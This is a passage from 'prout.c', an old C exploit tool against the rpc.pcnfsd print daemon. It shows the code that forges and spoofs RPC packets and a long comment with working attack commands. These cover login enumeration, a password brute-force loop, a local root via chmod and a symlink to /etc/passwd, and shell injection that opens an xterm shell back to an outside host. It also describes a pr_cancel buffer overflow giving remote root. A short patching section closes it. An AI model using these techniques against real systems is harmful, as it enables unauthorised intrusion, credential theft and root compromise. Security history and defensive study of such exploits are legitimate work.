flag=7;
break;
case 'o':
if ((argc-optind)!=4) option(argv[0]);
lenpacket=LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+LEN_AUTH_UNIX+
LEN_HDR_PCN_CANCEL;
flag=8;
break;
case 'i':
fprintf(stderr, "prout.c : exploits pcnfsd hole(s) - ");
fprintf(stderr, "coded by 'ga' <duncan@mygale.org>\n");
exit(0);
case 's':
fprintf(stderr, "Linux Mithrandir 2.0.0 i486 (dx2-66 8mb) - ");
fprintf(stderr, "gcc version 2.7.2\n");
exit(0);
case 'v':
verbose++;
break;
case 'h':
option(argv[0]);
default:
usage(argv[0]);
break; // NOTREACHED
}
}
if (!flag) usage(argv[0]);
if ( (flag>5) && (getuid()!=0) && (geteuid()!=0) ) {
fprintf(stderr, "I am not god.. I cannot create a raw packet without "
"(e)uid 0\n");
exit(1);
}
if (!(packet=malloc(lenpacket))) {
fprintf(stderr, "malloc() failed\n");
exit(1);
}
memset(packet, 0, lenpacket);
switch(flag) {
case 1:
if (make_pcnfsd_PRLIST(packet, lenpacket,
resolve_host_name(argv[optind]),
strtol(argv[optind+1], (char **)NULL, 0))<0)
fprintf(stderr, "error (PRLIST packet)\n");
break;
case 2:
if (make_pcnfsd_PRINFO(packet, lenpacket,
resolve_host_name(argv[optind]),
strtol(argv[optind+1], (char **)NULL, 0))<0)
fprintf(stderr, "error (PRINFO packet)\n");
break;
case 3:
if (make_pcnfsd_PRAUTH(packet, lenpacket,
resolve_host_name(argv[optind]),
strtol(argv[optind+1], (char **)NULL, 0),
argv[optind+2], argv[optind+3])<0)
fprintf(stderr, "error (PRAUTH packet)\n");
break;
case 4:
if (strtol(argv[optind+2], (char **)NULL, 0) >
strtol(argv[optind+3], (char **)NULL, 0)) {
fprintf(stderr, "lo_uid MUST be inferior to up_uid...\n");
free(packet);
exit(0);
}
if (make_pcnfsd_PRMAPID(packet, lenpacket,
resolve_host_name(argv[optind]),
strtol(argv[optind+1], (char **)NULL, 0),
strtol(argv[optind+2], (char **)NULL, 0),
strtol(argv[optind+3], (char **)NULL, 0))<0)
fprintf(stderr, "error (PRMAPID packet)\n");
break;
case 5:
if (make_pcnfsd_local_PRINIT(packet, lenpacket,
resolve_host_name(argv[optind]),
strtol(argv[optind+1], (char **)NULL, 0),
argv[optind+2])<0)
fprintf(stderr,"error (local PRINIT packet)\n");
break;
case 6:
if (make_pcnfsd_spoof_PRINIT(packet, lenpacket,
resolve_host_name(argv[optind]),
strtol(argv[optind+1], (char **)NULL, 0),
resolve_host_name(argv[optind+2]),
strtol(argv[optind+3], (char **)NULL, 0),
argv[optind+4])<0)
fprintf(stderr,"error (forged PRINIT packet)\n");
break;
case 7:
if (make_pcnfsd_PRCANCEL(packet, lenpacket,
resolve_host_name(argv[optind]),
strtol(argv[optind+1], (char **)NULL, 0),
resolve_host_name(argv[optind+2]),
strtol(argv[optind+3], (char **)NULL, 0),
argv[optind+4],
argv[optind+5],
argv[optind+6])<0)
fprintf(stderr,"error (forged PRCANCEL packet)\n");
break;
case 8:
if (make_pcnfsd_PROVERFLOW(packet, lenpacket,
resolve_host_name(argv[optind]),
strtol(argv[optind+1], (char **)NULL,0),
resolve_host_name(argv[optind+2]),
strtol(argv[optind+3], (char **)NULL,0))<0)
fprintf(stderr,"error (forged PRCANCEL buffer overrun packet)\n");
break;
}
free(packet);
}
/*
This program is for educational purpose _only_. It is provided "as
is" and without any warranty.
todo: - test it over inet..
- test it with another pcnfs daemon other than rpc.pcnfsd
(slackware 3.5)
- add the udp pseudo header checksum code
- remove insane code
- implement it so it would work partially with pcnfs (v.1)
I agree that lot of the code is redundant but I wanted to develop
a simple and clear program so that it is more easier to understand
the forging of ip/rpc packets. Anyway, I also agree that I am not
a good c coder so don't blame me...
Here are the different weaknesses of the rpc.pcnfsd(v2) daemon
(security holes are OS dependant) :
[tested with : @(#)pcnfsd_v2.c 1.6 - rpc.pcnfsd V2.0 (c) 1991 ]
[ Sun Technology Enterprises, Inc. ]
weaknesses (part of the implementation) :
-----------------------------------------
1) a list of available printers on the system can be retrieved. A
valid printer name can then be used with other pcnfs rpc
commands.
ex : prout -p 1.1.1.1 755
(rpc.pcnfsd running on server 1.1.1.1, port 755)
Usually, "lp" is almost always a valid printer (not an alias one).
2) it's possible to retrieve the version of the pcnfs daemon. It
could be useful for the attacker who would like to determine
the return address for a buffer overflow.
ex : prout -w 1.1.1.1 755
(rpc.pcnfsd running on server 1.1.1.1, port 755)
This may not be implemented in all pcnfs daemons.
3) A valid login/passwd can be checked.
ex : prout -a 1.1.1.1 755 joe eoj
(check user "joe", passwd "eoj" with rpc.pcnfsd running on 1.1.1.1, port 755)
prout -a 1.1.1.1 755 guest ""
(check if login guest is unpassworded)
Only the bandwith of the connection limits the number of
attempts per minute.. failure attempts are not logged,
successful attempts are logged in wtmp. Trying to
authentificate uid 0(root) is automatically rejected by the
pcnfs daemon.
4) Given an uid, the pcnfs daemon returns the name of the user
(login) associated with this uid. As a consequence, it's
possible to retrieves all the logins on the remote system by
scanning a broad range of uids.
ex : prout -u 1.1.1.1 755 0 1000
(ask to resolve login name from uid 0 up to 1000)
Therefore, the bash command below retrieves all user names on the
server (uid 0 to 1000) and then it checks if the passwd is the
same as the login:
for login in `prout -u 1.1.1.1 755 0 1000 | cut -f4 -d" "`;\
do prout -a 1.1.1.1 755 $login $login ; done
(failures are redirected to stderr and success to stdout)
security holes (depends on the pcnfs program) :
-----------------------------------------------
1) A _local_ user can chmod(777) any files in the pcnfs directory
(including "." file ...). Then, using a symlink, he can
chmod(777) any files on the system.
ex :
Mithrandir:/$ id
uid=501(ga) gid=100(users) groups=100(users)
Mithrandir:/$ rpcinfo -p | grep pcnfsd
150001 1 udp 755 pcnfsd
150001 2 udp 755 pcnfsd
150001 1 tcp 758 pcnfsd
150001 2 tcp 758 pcnfsd
Mithrandir:/$ ls -al /var/spool/ |grep pcnfs
drwxr-xr-x 2 root root 1024 Oct 4 20:00 pcnfs
Mithrandir:/$ prout -fl localhost 755 .
Mithrandir:/$ ls -al /var/spool/ |grep pcnfs
drwxrwxrwx 2 root root 1024 Oct 4 20:00 pcnfs
Mithrandir:/$ ln -s /etc/passwd /var/spool/pcnfs/blah
Mithrandir:/$ prout -fl localhost 755 blah
Mithrandir:/$ echo prout::0:0::/:/bin/sh >> /etc/passwd
Mithrandir:/$ su prout
Mithrandir:/# id
uid=0(root) gid=0(root) groups=0(root)
The "-fs" option is the same as the "-fl" option except that
it spoofes the source address and the source port (always
choose a port < 1024).
Latest patch of pcnfs daemon (Slackware) will fix this chmod()
problem.
2) pr_cancel() runs a shell command in background to cancel a
printer job. However, it doesn't check for all the escape
shell characters.. Then, a special command surrounded by '\n'
characters will be executed on the remote system.
ex : prout -c 127.0.0.1 911 1.1.1.1 755 nobody lp "ping 1.1.1.1"
(it sends a spoofed packet to pcnfs daemon on host 1.1.1.1,
port 755. The "ping 1.1.1.1" will be executed with nobody's
rights).
User name must exist on the remote system (its uid must >101
and <60002 otherwise the packet will be rejected) and the
printer must be a valid printer. Moreover, the command to
execute must _NOT_ contain any characters like:
";|&<>`'#!?*()[]^/"
so it means that it's not possible (well..in fact, it is) to
execute a command which is not in the PATH of the pcnfs daemon.
Finally, rpc.pcnfsd will kill its child process if this one
doesn't exit() before 10 seconds. In this case, "ping 1.1.1.1"
works only for 10 seconds.
On slackware, rpc.pcnfsd is launched from rc.inet2 file from
the directory "/". The PATH variable is set to
"/sbin:/usr/sbin:/bin:/usr/bin". As the $ character isn't
checked by suspicious() then we can fool the rpc.pcnfsd
restriction by using a shell variable that contains the "/"
character. On bash, during the boot process, PWD is set to "/"
(CWD for tcsh) as well as HOME variable. Therefore, we trick
the pcnfs daemon by using the $HOME variable instead of "/".
Moreover, we know that the child process will be killed after
10 seconds, then in order to avoid this problem, we can try to
execute an xterm which executes another xterm.
The new bash command line would be like:
prout -c 127.0.0.1 911 1.1.1.1 755 nobody lp \
'"$PWD"usr"$PWD"X11"$PWD"bin"$PWD"xterm -ut -display 9.9.9.9:0.0 \
-e "$PWD"usr"$PWD"X11"$PWD"bin"$PWD"xterm -ut -display 9.9.9.9:0.0 \
-e "$PWD"bin"$PWD"csh -i'
The shell ran by pcnfs daemon will expand it as :
/usr/X11/bin/xterm -ut -display 9.9.9.9:0.0 -e /usr/X11/bin/xterm\
-ut -display 9.9.9.9:0.0 -e /bin/csh -i
Thus, if host 9.9.9.9 is 'xhost +' then it will receive one
empty xterm (first xterm that executes the second one) and
another xterm with uid "nobody". The first xterm will be
killed after 10 seconds.. Of course, this can't work if the
first xterm can't reach 9.9.9.9 within 10 seconds.
bugs : - sometimes, rpc.pcnfsd core dumps after killing its
child process.
- xterm runs with uid "nobody" but with gid "root, bin,
adm, etc.." It shouldn't because this can definitively
be used for a root compromise.
Latest patch of pcnfs daemon (Slackware) will fix this
_suspicious_ problem.
3) Finally, there is a buffer overrun in pr_cancel() function. I
didn't check all the pcnfs code but other buffer overflows may
exist.
Actually, in pcsnfsd_print.c ( in pr_cancel() ) :
char cmdbuf[256];
sprintf(cmdbuf, "/usr/bin/lprm -P%s %s", pr, id)
"pr" may be 256 characters long and "id" may be 64 characters
long.
Thus, using a special asm code that doesn't contain any escape
shell characters checked by supicious() (eg:
";|&<>`'#!?*()[]^/"), it's possible to execute a remote
command as root.
ex : prout -o 127.0.0.1 911 1.1.1.1 755
(sends the pr_cancel overflow packet with a spoofed ip
127.0.0.1 / port 911 to pcnfs listening on server 1.1.1.1, port
udp 755)
It's important to use a spoofed source port inferior to 1024
because some rpc requests made from an unpriviledged port are
automatically discarded (actually, using the callit() function
of the portmapper).
Latest patch of pcnfsd should fix this buffer overflow soon.
*/
SOLUTION
- use patched pcnfs but a remote user can still try to brute force
an account (because he may retrieve all the logins and check for
valid login/passwd without being logged).
- use patched pcnfs with the secure rpc lib that uses a control
access list (like tcp wrapper) for ALL the rpc programs (not
only portmapper) so that only allowed hosts are able to connect
to pcnfs daemon.
- remove pcnfs on your server and consequently disallow remote
printing access for your users (is it that bad ?...).